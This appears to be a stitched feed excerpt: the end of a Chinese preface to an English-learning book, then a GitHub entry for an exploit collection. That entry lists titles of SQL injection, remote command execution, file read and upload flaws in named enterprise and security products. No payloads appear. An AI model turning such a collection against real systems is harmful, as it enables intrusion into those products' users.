๏ผŒ่ฟ˜่ฆๅฎž่ทต๏ผŒๆ›ด่ฆๅๅค่ฏ•้”™๏ผŒๅœจๆˆๅŠŸไธญ่Žทๅพ—ๆฟ€ๅŠฑ๏ผŒๅœจๅคฑ่ดฅไธญๆฑฒๅ–ๆ•™่ฎญ๏ผŒ่ทฏๆผซๆผซๅ…ถไฟฎ่ฟœ๏ผŒไธŠไธ‹ๆฑ‚็ดขๆ‰ๅฏ่ƒฝไฟฎๆˆๆญฃๆžœใ€‚ๅฐๅˆฐๅผ€่ฝฆ๏ผŒๅคงๅˆฐๅˆ›ไธš๏ผŒๅ„็งๆ‰€้œ€่ฆ็š„็Ÿฅ่ฏ†่Žซไธๅฆ‚ๆ˜ฏใ€‚้ขๅฏน่ฟ™ๆ ท็š„็Ÿฅ่ฏ†๏ผŒๆˆ‘ไปฌ่ฆไบ†่งฃ๏ผš</p> <ul> <li>Whatโ”€โ”€ๅฎƒ็ฉถ็ซŸๆ˜ฏไป€ไนˆ๏ผŸ</li> <li>Whyโ”€โ”€ไธบไป€ไนˆๅฎƒๆ˜ฏ้‚ฃไธชๆ ทๅญ๏ผŸ</li> <li>Howโ”€โ”€่ฆๆŽŒๆกๅฎƒใ€ๅบ”็”จๅฎƒ๏ผŒๅฟ…้กปๅพ—้ตๅพชไป€ไนˆๆ ท็š„ๆญฅ้ชค๏ผŸ</li> </ul> <p>็„ถ่€Œ๏ผŒๆœ‰ๅฆๅค–ไธ€็ง็Ÿฅ่ฏ†๏ผŒๅพ€ๅพ€่ฟ˜ๆ˜ฏๆ ผๅค–้‡่ฆ็š„็Ÿฅ่ฏ†๏ผŒๅœจ็Ÿฅ้“ๅฎƒ็š„้‚ฃไธ€็žฌ้—ดๅฐฑๅฏ่ƒฝๅผ€ๅง‹ๅ‘ๆŒฅ้‡ๅคง็š„ไฝœ็”จ๏ผŒ็”š่‡ณ๏ผŒๅœจ็Ÿฅ้“ๅฎƒ๏ผˆWhat๏ผ‰็š„้‚ฃไธ€็žฌ้—ด๏ผŒๅฎƒๆ‰€ๆœ‰็š„้‡ๅคงไฝœ็”จๅ…จ้ƒจ้ƒฝๅ‘ๆŒฅๅฎŒๆฏ•๏ผˆ่‡ณไบŽ Why ๅ’Œ How๏ผŒ็”š่‡ณๅฏ่ƒฝๅœจไบ†่งฃๅฎƒ็š„ What ้‚ฃไธ€็žฌ้—ดๆ—ฉๅทฒ็ปไธ่จ€่‡ชๆ˜Ž๏ผ‰ใ€‚</p> <p>ๅœจๆˆ‘ไธชไบบ็š„่ฎฐๅฟ†้‡Œ๏ผŒไธ€่ทฏไธŠ้‡ๅˆฐ่ฟ‡ๅพˆๅคš่ฟ™็ง โ€œๅช่ฆ็Ÿฅ้“ๅฐฑ่ƒฝๅคŸ็žฌ้—ดๅ…จ้ƒจๅ‘ๆŒฅไฝœ็”จโ€ ็š„็Ÿฅ่ฏ†ใ€‚ๅญฆๆฆ‚็Ž‡็ปŸ่ฎก็š„ๆ—ถๅ€™๏ผŒ้‡ๅˆฐ โ€œ็‹ฌ็ซ‹ไบ‹ไปถโ€ ่ฟ™ไธชๆฆ‚ๅฟต๏ผŒๅฐฑๆ˜ฏ่ฟ™็ฑป็Ÿฅ่ฏ†็š„ๅ…ธๅž‹ไพ‹ๅญใ€‚ๅœจๆญคไน‹ๅ‰๏ผŒๆˆ‘ๅพˆ่‡ช็„ถๅœฐไปฅไธบๅฆ‚ๆžœ่ฟž็ปญ 9 ๆฌกๆŠ›็กฌๅธ้ƒฝๆ˜ฏๆญฃ้ขๆœไธŠ๏ผŒ้‚ฃไนˆ็ฌฌ 10 ๆฌกๆŠ›ๅ‡บ็กฌๅธไน‹ๅŽๆญฃ้ขๆœไธŠ็š„ๅฏ่ƒฝๆ€ง่ฆ่ฟœ่ฟœไฝŽไบŽ่ƒŒ้ขๆœไธŠ็š„ๅฏ่ƒฝๆ€ง โ€ฆโ€ฆ ๅœจๆฆ‚็Ž‡ๆ•™็ง‘ไนฆ้‡Œ่ฏปๅˆฐ โ€œ็‹ฌ็ซ‹ไบ‹ไปถโ€ ็š„้‚ฃไธ€็žฌ้—ด๏ผŒ่ฎฉๆˆ‘ๆ„่ฏ†ๅˆฐไน‹ๅ‰็š„ๆƒณๆณ•ๆ˜ฏๅคšไนˆ็š„ๅฏ็ฌ‘ใ€‚ๅ› ไธบๆŠ›็กฌๅธๆญฃๅ้ข็š„ๅ‡ ็Ž‡ๆ˜ฏๆฐธ่ฟœ้ƒฝ็›ธๅŒ็š„๏ผˆ็กฌๅธๅ‡บ็Žฐๆญฃๅ้ขๅœจๆฏๆฌกๆŠ›ๆ—ถ้ƒฝๆ˜ฏ็›ธไบ’็‹ฌ็ซ‹ใ€ไธๅ—ไน‹ๅ‰็ป“ๆžœๅฝฑๅ“็š„๏ผ‰๏ผŒๅ„ๅ  50%๏ผŒๆ‰€ไปฅๅณไพฟๆˆ‘ๆŠ›ไธ€็™พๆฌก๏ผŒไธ€ไธ‡ๆฌก๏ผŒ็”š่‡ณๆ›ดๅคšๆฌก้ƒฝๆ˜ฏๆญฃ้ขๆœไธŠ๏ผŒไธ‹ไธ€ๆฌกๆŠ›ๆญฃๅ้ข็š„ๅ‡ ็Ž‡ไนŸ่ฟ˜ๆ˜ฏๅฆ‚ๆญค๏ผŒๅ„ๅ  50%ใ€‚</p> <p>่‡ณๆญค๏ผŒ่ฟ™ไธช็Ÿฅ่ฏ†็š„ๆ‰€ๆœ‰ไฝœ็”จๅทฒ็ปๅ…จ้ƒจๅ‘ๆŒฅๅฎŒๆฏ•๏ผšๅฎƒ่ƒฝๅคŸๅฝปๅคดๅฝปๅฐพๅœฐๆ”นๅ˜ไธ€ไบ›ไบบโ”€โ”€้‚ฃไบ›ไธ€ไธๅฐๅฟƒ็œ‹ๅˆฐๅฎƒๅฎž้™…ๆ„ไน‰็š„ไบบใ€‚ๆ— ่ฎบๆ˜ฏ่ฐ๏ผŒๅœจๅšๅ‡ ไนŽๆ‰€ๆœ‰ๅ†ณๅฎš็š„ๆ—ถๅ€™๏ผŒ้ƒฝ่ฆ่€ƒ่™‘ โ€œๅฏ่ƒฝๆ€งโ€๏ผˆๅญฆ็งฐ โ€œๆฆ‚็Ž‡โ€๏ผ‰ใ€‚ๅœจๆˆ‘ไธ็Ÿฅ้“ โ€œ็‹ฌ็ซ‹ไบ‹ไปถโ€ ่ฟ™ไธชๆฆ‚ๅฟตไน‹ๅ‰ๆ‰€ๅšๅ‡บ็š„ๅพˆๅคšๅ†ณๅฎš๏ผŒๆขๅœจ็Ÿฅ้“ โ€œ็‹ฌ็ซ‹ไบ‹ไปถโ€ ่ฟ™ไธชๆฆ‚ๅฟตไน‹ๅŽ๏ผŒๆˆ‘ๆ˜ฏๆ— ่ฎบๅฆ‚ไฝ•้ƒฝไธไผš้‚ฃๆ ท้€‰ๆ‹ฉ็š„โ”€โ”€่ฟ™ๅฐฑๆ˜ฏๆ”นๅ˜๏ผŒๅนถไธ”ๆ˜ฏ่ดจๅ˜ใ€‚</p> <p>ๅฆไธ€ไธชไปคๆˆ‘่ฎฐๅฟ†ๆทฑๅˆป็š„ไพ‹ๅญๆ˜ฏๅพˆๅฐ็š„ๆ—ถๅ€™ๅญฆไน ็ผ–็จ‹่ฏญ่จ€ใ€‚ๅคšๅนดไปฅๆฅ๏ผŒๅ—ๅฝฑๅ“ๆœ€ๆทฑ็š„๏ผŒๅนถไธๆ˜ฏๅฝ“ๆ—ถๆ‰€ๅญฆ็š„ BASIC๏ผŒๆˆ–่€…ๆ˜ฏๅŽๆฅๆ‰€ๅญฆ็š„ PASCAL๏ผŒๆŠ‘ๆˆ–ๅ†ๅŽๆฅๅญฆ็š„ Cใ€C++ไป€ไนˆ็š„๏ผ›ๅ—ๅฝฑๅ“ๆœ€ๆทฑ็š„ๆ˜ฏไธ€็งๆ€่€ƒๆ–นๅผโ”€โ”€ๅœจ่ฟ่กŒ็จ‹ๅบไน‹ๅ‰๏ผŒ่ฆๅๅคๆต่งˆไปฃ็ ๏ผŒๅœจ่„‘ๅญ้‡Œ่ฟ›่กŒ้ข„ๆผ”๏ผ›่€Œไธๆ˜ฏๅ†™ๅฎŒ็จ‹ๅบ็›ดๆŽฅ่ฟ่กŒ๏ผŒๅ‡บ้”™ไบ†ๅ†่ฏดใ€‚่ฟ™ๆ˜ฏ่Š‚็œๆ—ถ้—ดๆ้ซ˜ๆ•ˆ็Ž‡็š„้‡่ฆๆ–นๅผใ€‚ๅˆšๅผ€ๅง‹ๅนถไธ็Ÿฅ้“ โ€œไบ†่งฃไบ†่ฟ™็งๆ“ไฝœๆ–นๅผโ€ ็ป™่‡ชๅทฑๅธฆๆฅไบ†ๅคšๅคง็š„ๅฝฑๅ“๏ผ›ๅฏๆ˜ฏ๏ผŒ่ฎธๅคšๅนดไน‹ๅŽ๏ผŒ่ง‚ๅฏŸๅˆฐ่บซ่พนๅคงๅคšๆ•ฐไบบไปŽๆฅ้ƒฝๆฒกๆœ‰ โ€œๅšไบ‹ไน‹ๅ‰ๅ…ˆๅœจ่„‘ๅญ้‡Œ้ข„ๆผ”โ€ ็š„ไน ๆƒฏ๏ผŒๆ‰ๆ˜Ž็™ฝๅพˆๅฐ็š„ๆ—ถๅ€™็Ÿฅ้“ไบ†้‚ฃๆ ท็š„ๅšๆณ•็ป™่‡ชๅทฑๅธฆๆฅ็š„ๅทจๅคงๅฅฝๅค„โ”€โ”€ๅนถไธ”ๆ˜ฏๆฒกๅŠžๆณ•็ป™้‚ฃไบ›ไธ็Ÿฅ้“็š„ไบบ่ฎฒๆ˜Ž็™ฝ็š„ๅฅฝๅค„ใ€‚๏ผˆไนŸ่ฎธๆญฃๅ› ไธบๅฆ‚ๆญค๏ผŒๆ‰ๆ€ปๆ˜ฏๆœ‰ไบบ่ฟ™ๆ ทๆ— ๅฅˆ็ฝข๏ผšไผš็š„ไบบ๏ผŒ่‡ช็„ถไผšไบ†๏ผŒไธไผš็š„ไบบ๏ผŒๆ— ่ฎบๅฆ‚ไฝ•ไนŸไธไผšใ€‚๏ผ‰ ๆ›ดไธบๅ…ณ้”ฎ็š„ๆ˜ฏ๏ผŒ่ฟ™็ง็Ÿฅ่ฏ†็š„่Žทๅ–๏ผŒๆ˜ฏ โ€œไธๅฏ้€†็š„โ€ใ€‚ๅœจไฝ ็Ÿฅ้“ๅฎƒ็š„้‚ฃไธ€็žฌ้—ด๏ผŒๅฎƒๅฐฑๅทฒ็ปๆ”นๅ˜ไบ†ไธ€ๅˆ‡๏ผŒไฝ ็š„็”Ÿๆดปๅ› ๅฎƒ่€Œๅ˜๏ผŒๅ†ไนŸๆ— ๆณ•ๅคๅŽŸใ€‚ๆˆ‘ไปฌๅ†ไนŸไธๅฏ่ƒฝๅฏน่ฟ™็ง็Ÿฅ่ฏ†่ง†่€Œไธ่ง๏ผŒๅฌ่€Œไธ้—ป๏ผŒ็ฝฎไน‹ไธ็†๏ผŒๅฎƒ็žฌ้—ดๅฐฑ่ƒฝๆ นๆทฑ่’‚ๅ›บ๏ผŒๆ— ๆณ•้“ฒ้™คใ€‚ๆฏ”ๅฆ‚๏ผŒ็œŸๆญฃ็†่งฃๆฆ‚็Ž‡็ปŸ่ฎกๅธธ่ฏ†็š„ไบบ๏ผŒๆ˜ฏ็ปๅฏนไธไผšๅŽปไนฐๅฝฉ็ฅจ็š„ โ€ฆโ€ฆ ๅ› ไธบไนฐๅฝฉ็ฅจ่ฟ™็ง่กŒไธบๅœจไป–ไปฌ็œผ้‡Œ็›ธๅฝ“ไบŽไธๅฐŠ้‡่‡ชๅทฑ็š„ๆ™บๅ•†ๅ’Œๅทฒๅญฆ่ฟ‡็š„็Ÿฅ่ฏ†ใ€‚ๅฏไธŽๆญคๅŒๆ—ถ๏ผŒๅฝฉ็ฅจๆ˜ฏๅœฐ็ƒไธŠๆœ€็•…้”€็š„ๅ•†ๅ“๏ผŒๅฏ่งๆœ‰ๅคšๅฐ‘ไบบไธ€็”Ÿ้ƒฝๆœชๆ›พๆœ‰ๆœบไผšไบ†่งฃ้‚ฃไบ›้‡่ฆ็š„็Ÿฅ่ฏ†ใ€‚</p> <p>ๅฝ“็„ถ๏ผŒ่ฏปๅˆฐ่ฟ™้‡Œ๏ผŒ่ฏป่€…้ƒฝไผšๅŒๆ„๏ผšไนŸ่ฎธๆœ€ๅ€ผๅพ—ไผ ๆ’ญ็š„๏ผˆ่‡ณๅฐ‘ๅบ”่ฏฅไธบไน‹ๅŠชๅŠ›็š„๏ผ‰ๅฐฑๆ˜ฏ่ฟ™็ง็Ÿฅ่ฏ†ใ€‚ไผ ๆ’ญๅฎƒไปฌ็š„ๆœ€ๅคงๆ„ไน‰๏ผŒ็”š่‡ณๅ”ฏไธ€็š„ๆ„ไน‰ๅ’Œ็›ฎ็š„๏ผŒๅฐฑๆ˜ฏ โ€œๅฏๅ‘โ€ใ€‚่ฟ™ๆœฌไนฆ้‡Œ็š„ๆ–‡ๅญ—๏ผŒๅ…จ้ƒจ็š„ๆ„ไน‰๏ผŒๅชๆœ‰ไธคไธชๅญ—๏ผšโ€œๅฏๅ‘โ€ใ€‚ไฝœ่€…็œŸ่ฏšๅœฐๅธŒๆœ›่ฏป่€…ๅœจ่ฏป่ฟ‡่ฟ™ไบ›ๆ–‡ๅญ—ไน‹ๅŽ๏ผŒ๏ผˆ่ตท็ ๏ผ‰ๅœจ่‹ฑ่ฏญไฝฟ็”จๆ–น้ขๆœ‰ๆ‰€ๅฏๅ‘ใ€‚</p> <p>ไนŸ่ฎธๆœ‰ไบ›่ฏป่€…ไผšๅ‘็Žฐ้‡Œ้ขๆœ‰ โ€œๅคชๅคš็š„ๅบŸ่ฏโ€๏ผŒ้‚ฃไป…ไป…ๆ˜ฏๅ› ไธบ่ฟ™็ฑป็Ÿฅ่ฏ†็š„็‰นๆ€ง๏ผšๅฎƒไปฌๅคช โ€œ่ฒŒไธๆƒŠไบบโ€๏ผŒๅฆ‚ๆžœ้ž่ฆๅฎƒไปฌไปฅๆœฌๆฅ็š„้ข็›ฎๅ‡บ็Žฐ๏ผŒไป–ไปฌๆ˜ฏไธไผšๆณจๆ„ๅˆฐ็š„โ”€โ”€ๆ— ่ฎบๅฎƒไปฌๅฎž้™…ไธŠๆœ‰ๅคšไนˆ้‡่ฆใ€‚ๅฆๅˆ™๏ผŒไป–ไปฌๆ—ฉๅฐฑ่ขซ่ฟ™็ฑป็Ÿฅ่ฏ†ๅฝปๅคดๅฝปๅฐพๅœฐๆ”นๅ˜ไบ† โ€ฆโ€ฆ ๅฏไบ‹ๅฎžไธŠไป–ไปฌไธ่ฟ˜ๆ˜ฏๅŽŸๆฅ้‚ฃไธชๆ ทๅญไนˆ๏ผŸ</p> <p>ไนŸ่ฎธๆœ‰ไบ›่ฏป่€…่‡ช็„ถ่€Œ็„ถๅœฐไพ็…งๆ€็ปดๆƒฏๆ€ง๏ผŒๅธŒๆœ›็œ‹ๅˆฐๆ›ดๅคš็š„ โ€œHowโ€ใ€‚ๅฏๆญฃๅฆ‚ไน‹ๅ‰ๆ‰€่งฃ้‡Š็š„้‚ฃๆ ท๏ผŒ่ฟ™็ฑป็Ÿฅ่ฏ†ไธญ็š„ๅคงๅคšๆ•ฐ๏ผŒ่ฏป่€…ๅœจไบ†่งฃๅˆฐ โ€œWhatโ€ ็š„้‚ฃไธ€็žฌ้—ด๏ผŒๅฎƒ็š„ไฝœ็”จๅฐฑๅทฒ็ปๅ…จ้ƒจๅ‘ๆŒฅๅฎŒๆฏ•๏ผŒโ€œWhyโ€ ไนŸ่ฎธๅชไธ่ฟ‡ๆ˜ฏๅคšไฝ™็š„่งฃ้‡Š๏ผŒ่€Œ โ€œHowโ€ ๆˆ–่€…ไธ่จ€่‡ชๆ˜Ž๏ผŒๆˆ–่€…ๅ› ไบบ่€Œๅผ‚๏ผŒ้œ€่ฆ่ฏป่€…่‡ชๅทฑๆ‘ธ็ดขโ€ฆโ€ฆ</p> <p>่ฟ™็ฑป็Ÿฅ่ฏ†ๆณจๅฎšๅฑžไบŽๅฐ‘ๆ•ฐไบบใ€‚้™คไบ†ไน‹ๅ‰ๅทฒ็ป่ฏด่ฟ‡็š„ๅŽŸๅ› ไน‹ๅค–๏ผŒ่ฟ˜ๆœ‰ๅฆๅค–ไธ€ไธช้‡่ฆ็š„ๅŽŸๅ› ๏ผšไบบไปฌๅชๆ„ฟไผ ๆ’ญ่‡ชๅทฑ็›ธไฟก็š„็Ÿฅ่ฏ†โ”€โ”€ๅ“ชๆ€•้‚ฃๆ‰€่ฐ“็š„็Ÿฅ่ฏ†ๆ นๆœฌๅฐฑๆ˜ฏ้”™็š„ใ€‚้‡่ฆ็š„ไธๆ˜ฏๅฏน้”™๏ผŒ้‡่ฆ็š„ๆ˜ฏๆ„Ÿ่ง‰ใ€‚ๅฐฝ็ฎก โ€œ่ง‰ๅพ—ๆญฃ็กฎโ€ ๅ’Œ โ€œๆญฃ็กฎโ€ ็›ธๅทฎๅฏ่ƒฝๅไธ‡ๅ…ซๅƒ้‡Œ๏ผŒไฝ†ๅฏนๅคงๅคšๆ•ฐไบบๆฅ่ฏดๆ นๆœฌๅฐฑๆ˜ฏไธ€ๅ›žไบ‹ๅ„ฟ๏ผŒ่ตท็ ๏ผŒไป–ไปฌๆƒ…ๆ„ฟ้‚ฃๅฐฑๆ˜ฏไธ€ๅ›žไบ‹ๅ„ฟใ€‚ๆ‰€ไปฅ๏ผŒๅฎนๆ˜“ไผ ้€’็š„ๆ˜ฏ้‚ฃไบ› โ€œๅพˆ่‡ช็„ถๅœฐๅฐฑไปคไบบ็›ธไฟก๏ผˆๆ„Ÿ่ง‰๏ผ‰ๆ˜ฏๆญฃ็กฎ็š„โ€๏ผŒ่€Œไธๆ˜ฏ โ€œไบ‹ๅฎžไธŠๆญฃ็กฎ็š„โ€ ไบ‹ๆƒ…ใ€‚</p> <p>ๅ‰ไบ›ๅนดๆˆ‘ๅ†™ใ€ŠๆŠŠๆ—ถ้—ดๅฝ“ไฝœๆœ‹ๅ‹ใ€‹็š„ๆ—ถๅ€™๏ผŒๅคšๅฐ‘ๅฏนๅฎƒ็š„ไผ ๆ’ญๆ˜ฏๆ‚ฒ่ง‚็š„๏ผŒๅ› ไธบๆˆ‘็Ÿฅ้“้‚ฃไบ›ๆ–‡ๅญ—้‡Œๆ‰€ไผ ้€’็š„็ปๅคงๅคšๆ•ฐๆ˜ฏ่ฟ™็ง้“็†ใ€่ฟ™็ฑป็Ÿฅ่ฏ†โ”€โ”€ๅฎƒไปฌ็š„ๆœฌ่ดจๅ†ณๅฎšไบ†ๅ…ถไผ ๆ’ญ็š„ๅ›ฐ้šพ็จ‹ๅบฆใ€‚ๆ‰€ไปฅ๏ผŒ้‚ฃๆ—ถๅ€™๏ผŒๆˆ‘่ง‰ๅพ—ๅช่ฆๆœ‰้›ถๆ˜Ÿ้‚ฃไนˆๅ‡ ไธชไบบ่ƒฝๅคŸ่ขซ้‚ฃไบ›ๆ–‡ๅญ—ๆ‰€ๆ”นๅ˜๏ผŒๅฐฑๅทฒ็ปไธ‡ๅนธไบ†ใ€‚ไบ’่”็ฝ‘ๆ—ถไปฃๅ……ๆปกไบ†ๅฅ‡่ฟน๏ผŒ้‚ฃไบ›ๆ–‡ๅญ—ๅœจ็ฝ‘ไธŠไปฅๆฏไธชๆœˆๅ‡ ไธ‡็‚นๅ‡ป็š„ๆ•ฐ้‡่ขซๆต่งˆใ€‚่€Œ 2009 ๅนดๅฐๅˆทๆˆไนฆๅ‡บ็‰ˆๅŽ๏ผŒ็ซŸ็„ถๅฏไปฅๅœจไธ€ๅนดไน‹ๅ†…้‡ๅฐ 11 ๆฌก๏ผŒๅ†ๆฌกๅ‡บไนŽๆˆ‘็š„ๆ„ๆ–™ใ€‚ๅ“ชๆ€•็œŸๆญฃๆŽฅๅ—้‚ฃไบ›้“็†็š„่ฏป่€…ๆฏ”็Ž‡ๅ†ไฝŽ๏ผŒ็”ฑไบŽๅŸบๆ•ฐๅทจๅคง๏ผŒๆˆ‘็Ÿฅ้“ๆˆ‘่ฟ˜ๆ˜ฏ็ป“็ป“ๅฎžๅฎžๅœฐๆ”นๅ˜ไบ†ๅพˆๅคšไบบ็š„ใ€‚</p> <p>ๆญฃๆ˜ฏ่ฟ™ๆ ท็š„ๅŠจๅŠ›๏ผŒไฝฟๆˆ‘็”˜ๅฟƒใ€่€ๅฟƒๅœฐๅ†™ไธ‹่ฟ™ๆœฌไนฆ้‡Œ็š„ๆ–‡ๅญ—ใ€‚็Ÿฅ้“ๅฎƒไปฌๆ— ่ฎบๅฆ‚ไฝ•้ƒฝไผšๅ†ๆฌกๆ”นๅ˜ไธ€ไบ›ไบบโ”€โ”€ๅฐฝ็ฎกๆˆ‘่‡ชๅทฑๆฐธ่ฟœๆฒกๅŠžๆณ•็Ÿฅ้“ๆœ€็ปˆๆ”นๅ˜็š„็ฉถ็ซŸๆ˜ฏๅ“ชไบ›ไบบใ€‚็”Ÿๆดปไธญๅ……ๆปกไบ†ๆ— ๅฅˆ๏ผŒ็„ถ่€Œๆœ‰ไบ›ไบบๅนธ่ฟๅฆ‚ๆˆ‘๏ผŒๆฏ•็ซŸ่ƒฝๅคŸๆ”นๅ˜็‚นไป€ไนˆใ€‚ไบŽๆ˜ฏ๏ผŒ้‚ฃไบ›ๆ— ๅฅˆ๏ผŒ้‚ฃไบ›ไธๅนธ๏ผŒๅฐฑๅคšๅฐ‘ๆทกไบ†ไธ€ไบ›ใ€‚</p> <p>ไบ‹ๅฎžไธŠ๏ผŒ่ฟ™ๆœฌไนฆไนŸๆ˜ฏใ€ŠๆŠŠๆ—ถ้—ดๅฝ“ๅšๆœ‹ๅ‹ใ€‹็š„ๅ…ทไฝ“ๅปถ็ปญใ€‚ใ€ŠๆŠŠๆ—ถ้—ดๅฝ“ๅšๆœ‹ๅ‹ใ€‹็š„ไธปๆ—จๅพˆ็ฎ€ๅ•๏ผšๆ—ถ้—ดไธไผšๅฌไปŽๆˆ‘ไปฌ็š„็ฎก็†๏ผŒๆˆ‘ไปฌๆœ€ๅคšๅช่ƒฝไธŽๆ—ถ้—ดๅšๆœ‹ๅ‹๏ผ›ไธŽๆ—ถ้—ดๅšๆœ‹ๅ‹็š„ๆ–นๆณ•ๅชไธ่ฟ‡ๆ˜ฏ โ€œ็”จๆญฃ็กฎ็š„ๆ–นๅผๅšๆญฃ็กฎ็š„ไบ‹ๆƒ…โ€ใ€‚่€Œ่ฟ™ๆœฌไนฆ๏ผŒๅชไธ่ฟ‡ๆ˜ฏ ๆŠŠ โ€œๆญฃ็กฎ็š„ไบ‹ๆƒ…โ€ ่š็„ฆๅœจ โ€œ็”จ่‹ฑ่ฏญโ€ ไธŠ่€Œๅทฒ๏ผŒ่€ŒๅŽๅ†็œ‹็œ‹ๅฏ่ƒฝ็š„ โ€œๆญฃ็กฎ็š„ๆ–นๅผโ€ ็ฉถ็ซŸๆ˜ฏไป€ไนˆใ€‚</p> <h3>ๆŽ็ฌ‘ๆฅ</h3> <ul> <li>2010 ๅนดๆ˜ฅไบŽไธŠๆตทๅˆ็จฟ</li> <li>2010 ๅนดๅ†ฌไบŽๅŒ—ไบฌไฟฎๆ”น</li> <li>2015 ๅนดไบŽๅŒ—ไบฌ้‡ๆ–ฐๅˆถไฝœ็ฝ‘็ปœๅผ€ๆ”พ็‰ˆๆœฌ</li> <li>2019 ๅนดไบŽๅŒ—ไบฌไธŠไผ ่‡ณ Github</li> </ul> + wy876/POC + 2024-01-06T01:25:31Z + tag:github.com,2024-01-06:/wy876/POC + + <p>2023HWๆผๆดžๆ•ด็†๏ผŒๆ”ถ้›†ๆ•ด็†ๆผๆดžEXp/POC,ๅคง้ƒจๅˆ†ๆผๆดžๆฅๆบ็ฝ‘็ปœ๏ผŒ็›ฎๅ‰ๆ”ถ้›†ๆ•ด็†ไบ†100ๅคšไธชpoc/exp</p><hr><h1>ๆผๆดžๆ”ถ้›†</h1> <p>2023HWๆผๆดžๆ•ด็†๏ผŒๆ”ถ้›†ๆ•ด็†ๆผๆดžEXp/POC,ๅคง้ƒจๅˆ†ๆผๆดžๆฅๆบ็ฝ‘็ปœ๏ผŒ็›ฎๅ‰ๆ”ถ้›†ๆ•ด็†ไบ†100ๅคšไธชpoc/exp๏ผŒๅ–„็”จCTRL+Fๆœ็ดข</p> <h2>2024.01.05 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>็”จๅ‹NC_CLOUD_smartweb2.RPC.d_XMLๅค–้ƒจๅฎžไฝ“ๆณจๅ…ฅ</li> <li>IDocView_qJvqhFtๆŽฅๅฃไปปๆ„ๆ–‡ไปถ่ฏปๅ–</li> </ul> <h2>2024.01.03 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>ๅคฉ่žไฟกTOPSEC_maincgi.cgi่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒ</li> <li>ๅคฉ่žไฟกTOPSEC_static_convert่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒๆผๆดž</li> <li>็”จๅ‹CRM็ณป็ปŸๅญ˜ๅœจ้€ป่พ‘ๆผๆดž็›ดๆŽฅ็™ปๅฝ•ๅŽๅฐ</li> <li>ไบฟ่ต›้€š็”ตๅญๆ–‡ๆกฃuploadFileๆŽฅๅฃๆ–‡ไปถไธŠไผ ๆผๆดž</li> </ul> <h2>2023.12.31 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>OfficeWeb365_ไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> <li>ไธœๅŽๅŒป็–—ๅๅŒๅŠžๅ…ฌ็ณป็ปŸๅๅบๅˆ—ๅŒ–ๆผๆดž</li> <li>ไธœๅŽๅŒป็–—ๅๅŒๅŠžๅ…ฌ็ณป็ปŸๆ–‡ไปถไธŠไผ </li> <li>้ฃžไผไบ’่”-FEไผไธš่ฟ่ฅ็ฎก็†ๅนณๅฐ็™ปๅฝ•็ป•่ฟ‡ๆผๆดž</li> <li>้ฃžไผไบ’่”Ognl่กจ่พพๅผๆณจๅ…ฅๅฏผ่‡ดRCE</li> <li>่ฅฟ่ฝฏไบ‘XMSๅๅบๅˆ—ๅŒ–ๆผๆดž</li> <li>็”จๅ‹U8_cloud_KeyWordDetailReportQuery_SQLๆณจๅ…ฅๆผๆดž</li> <li>็”จๅ‹NC_Cloud_soapFormat.ajaxๆŽฅๅฃๅญ˜ๅœจXXE</li> </ul> <h2>2023.12.28 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>wordpress listingo ๆ–‡ไปถไธŠไผ ๆผๆดž</li> <li>Apache OFBiz ่บซไปฝ้ชŒ่ฏ็ป•่ฟ‡ๆผๆดž (CVE-2023-51467)</li> <li>็ฆๅปบ็ง‘็ซ‹่ฎฏ้€šไฟกๆœ‰้™ๅ…ฌๅธๆŒ‡ๆŒฅ่ฐƒๅบฆ็ฎก็†ๅนณๅฐRCE</li> <li>ๆตทๅบทๅจ่ง†-็ปผๅˆๅฎ‰้˜ฒ็ฎก็†ๅนณๅฐ-files-ๆ–‡ไปถ่ฏปๅ–</li> <li>Apache OFBiz SSRF &amp;&amp; ไปปๆ„้…็ฝฎ่ฏปๅ–</li> <li>Apache Dubbo ๅๅบๅˆ—ๅŒ–ๆผๆดž๏ผˆCVE-2023-29234๏ผ‰</li> </ul> <h2>2023.12.26 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>ๅคงๅŽDSS itcBulletin SQL ๆณจๅ…ฅๆผๆดž</li> <li>ๆน–ๅ—ๅปบ็ ”-ๆฃ€ๆต‹็ณป็ปŸ admintool ไปปๆ„ๆ–‡ไปถไธŠไผ </li> <li>OpenSSH ProxyCommandๅ‘ฝไปคๆณจๅ…ฅๆผๆดž (CVE-2023-51385)</li> <li>Salia PLCC cPH2 ่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒๆผๆดž(CVE-2023-46359)</li> <li>้‡‘่ถApusicๅบ”็”จๆœๅŠกๅ™จloadTree JNDIๆณจๅ…ฅๆผๆดž</li> <li>็ง‘่ฃ AIOไปปๆ„ๆ–‡ไปถไธŠไผ -็›ฎๅฝ•้ๅŽ†-ไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> <li>Secnetๅฎ‰็ฝ‘ ๆ™บ่ƒฝAC็ฎก็†็ณป็ปŸ actpt_5g ไฟกๆฏๆณ„้œฒ</li> <li>ๆตทๅบทๅจ่ง†ๅฎ‰ๅ…จๆŽฅๅ…ฅ็ฝ‘ๅ…ณไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> <li>ๆต™ๆฑŸๅฎ‡่ง†isc็ฝ‘็ปœ่ง†้ข‘ๅฝ•ๅƒๆœบLogReport.phpๅญ˜ๅœจ่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒๆผๆดž</li> <li>ๆตท็ฟ”ERP SQLๆณจๅ…ฅๆผๆดž</li> <li>่„ธ็ˆฑไบ‘ ไธ€่„ธ้€šๆ™บๆ…ง็ฎก็†ๅนณๅฐไปปๆ„็”จๆˆทๆทปๅŠ ๆผๆดž</li> <li>ๅฎ‰ๆ’ๆ˜Žๅพกๅฎ‰ๅ…จ็ฝ‘ๅ…ณ่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒๆผๆดž</li> </ul> <h2>2023.12.23 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>avcon็ปผๅˆ็ฎก็†ๅนณๅฐSQLๆณจๅ…ฅๆผๆดž</li> 